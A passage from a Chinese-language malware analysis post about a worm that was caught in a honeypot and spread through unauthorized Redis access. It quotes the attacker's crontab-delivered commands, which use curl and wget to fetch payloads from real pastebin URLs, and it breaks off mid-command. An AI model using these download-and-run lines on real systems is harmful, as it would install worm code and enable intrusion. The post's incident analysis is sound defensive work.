一次Redis未授权访问漏洞入侵分析

0x00 简介

通过之前部署的蜜罐系统，我近日在滴滴云上捕获到了一个通过 Redis 未授权访问漏洞进行入侵的蠕虫样本，该样本的特点是使用 Python 脚本进行横向漏洞扫描，并且具有进程隐藏和卸载某些云上安全产品的功能。

0x01 样本分析

通过蜜罐日志得到攻击者入侵开始于通过 Redis 写 crontab：

命令中的 URL https://pastebin.com/raw/1NtRkBc3 其实是一个中转，实际样本文件为 https://pastebin.com/raw/tRxfvbYN 在 base64 解码后的结果为：

curl https://pastebin.com/raw/1NtRkBc3

(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/t